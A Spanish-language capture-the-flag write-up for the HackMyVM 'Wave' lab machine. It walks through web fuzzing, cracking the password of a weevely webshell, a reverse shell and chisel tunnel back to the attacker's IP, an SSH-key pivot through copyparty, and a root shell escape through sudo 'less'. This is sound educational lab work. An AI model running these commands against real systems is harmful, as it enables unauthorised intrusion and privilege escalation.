HackMyVM - Wave
- Extract Phar Archive
- Crack MD5 Hash
- Backdoor PHP Weevely
- Chisel Port Forwarding
- Abuse Copyparty-sfx.py - Upload Authorized_keys
- Abuse Less Binary - Screen size
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.12
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.12
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 07:e9:c8:22:59:a5:00:41:15:fa:26:0f:7d:d3:29:ff (ECDSA)
|_ 256 c7:81:8e:06:49:33:8f:1a:88:3b:82:9e:27:f3:72:1e (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/backup
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
El archivo robots.txt
y me muestra el directorio backup.
❯ curl http://192.168.1.12/robots.txt
Disallow: /backup
En /backup
encuentro archivos con la extensión .bck
.
Me llama la atención el archivo weevely.bck
, con file veo que se trata de un archivo phar.
❯ file weevely.bck
weevely.bck: PHP phar archive with SHA1 signature
weevely proporciona una interfaz de línea de comandos para generar una webshell PHP que se puede cargar en un servidor comprometido.
En Kali Linux viene el binario instalado.
❯ weevely
[+] weevely 4.0.1
[!] Error: the following arguments are required: url, password
[+] Run terminal or command on the target
weevely <URL> <password> [cmd]
[+] Recover an existing session
weevely session <path> [cmd]
[+] Generate new agent
weevely generate <password> <path>
Al ser un archivo php me voy al navegador web para ver de que se trata.
Como no encuentro weevely.php
realizo fuerza bruta al tipo de archivo php.
❯ wfuzz -c -t 200 --hc=404 --hl=7 -w /usr/share/seclists/Discovery/Web-Content/big.txt "http://192.168.1.12/weevely.phpFUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.12/weevely.phpFUZZ
Total requests: 20476
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000762: 200 0 L 0 W 0 Ch "7"
Ahora si carga el archivo pero no muestra nada.
Con phar extraigo el contenido del archivo weevely.bck
que anteriormente he descargado.
❯ phar extract -f weevely.bck
//HackMyVM/Wave/weevely.bck/x ...ok
Lanzo un cat al archivo x
y veo que en la función eval() hay unas variables codificadas en md5.
Me voy a Crackstation para romper el hash MD5.
Una vez obtengo la contraseña ya puedo usar weevely.
❯ weevely http://192.168.1.12/weevely.php7 "contraseña"
[+] weevely 4.0.1
[+] Target: www-data@wave:/var/www/html
[+] Session: /home/noname/.weevely/sessions/192.168.1.12/weevely_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>
Escribo help y me muestra una lista de opciones.
Me lanzo una shell con backdoor_reversetcp lhost lport.
weevely> :backdoor_reversetcp 192.168.1.18 4444
Obtengo la shell.
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.12] 55172
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Después de realizar el tratamiento de la tty enumero los usuarios del sistema mediante el archivo passwd.
www-data@wave:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
angie:x:1000:1000:angie,,,:/home/angie:/bin/bash
carla:x:1001:1001:,,,:/home/carla:/bin/bash
Enumero los procesos de angie y veo que lanza el archivo copyparty-sfx.py
de forma local.
www-data@wave:/tmp$ ps aux | grep angie
angie 389 0.0 0.0 2576 904 ? Ss 17:52 0:00 /bin/sh -c /usr/bin/python3 /home/angie/copyparty-sfx.py -i 127.0.0.1
angie 391 0.2 2.0 660216 41836 ? Sl 17:52 0:00 /usr/bin/python3 /home/angie/copyparty-sfx.py -i 127.0.0.1
Con ss
observo los puertos internos y preparo chisel para realizar un portforwarding al puerto 3923.
www-data@wave:/tmp$ ss -ltun
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 1024 127.0.0.1:3923 0.0.0.0:*
tcp LISTEN 0 511 [::]:80 [::]:*
tcp LISTEN 0 128 [::]:22
Maquina atacante.
❯ ./chisel server -p 9080 --reverse
Máquina víctima.
www-data@wave:/tmp$ ./chisel client 192.168.1.18:9080 R:3923:127.0.0.1:3923
Con firefox voy al puerto 3923 y encuentro dos archivos.
Archivo user.txt
.
Archivo copyparty-sfx.py
.
Como estoy dentro de /home/angie
creo la carpeta .ssh
y seguidamente subo el archivo authorized_keys
de la máquina atacante para pivotar de www-data
a angie
.
Me conecto al sistema.
❯ ssh angie@192.168.1.12
angie@wave:~$ id
uid=1000(angie) gid=1000(angie) grupos=1000(angie),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
Enumero permisos de sudo.
angie@wave:~$ sudo -l
Matching Defaults entries for angie on wave:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User angie may run the following commands on wave:
(ALL) NOPASSWD: /usr/bin/less -F /opt/secret.txt
Archivo secret.txt
.
angie@wave:~$ cat /opt/secret.txt
Dietro di lui,
dietro di lui solo la nebbia.
Lanzo el binario less pero no ocurre nada.
PRIVESC
Para obtener el root redimensiono la ventana de la terminal.
Al pulsar enter el comando less se queda como pausado porque al tener pocas líneas no puede terminar de imprimir el texto correctamente.
En este momento pulso la tecla !
y escribo /bin/bash
.
Pulso enter y obtengo el root.
Dejo la terminal como estaba anteriormente y listo.
Para obtener el root se puede hacer con stty rows 5 cols 5 y seguir los mismos pasos pero al ser un writeup escrito creo que se ve mejor redimensionando la terminal.
Y aquí termina la máquina Wave.
Saludos!
Thanks to PL4GU3, Powerful and sML for the help.